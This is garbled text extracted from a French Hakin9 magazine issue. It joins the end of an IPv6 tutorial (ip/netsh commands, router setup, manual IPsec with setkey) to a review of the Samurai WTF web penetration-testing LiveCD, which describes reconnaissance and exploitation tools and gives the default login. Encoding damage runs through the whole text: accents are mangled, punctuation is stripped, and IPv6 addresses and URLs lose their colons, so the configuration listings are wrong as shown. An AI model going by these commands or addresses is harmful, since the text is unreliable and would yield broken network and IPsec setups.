ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 28: hakin9_05_2010_FR

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

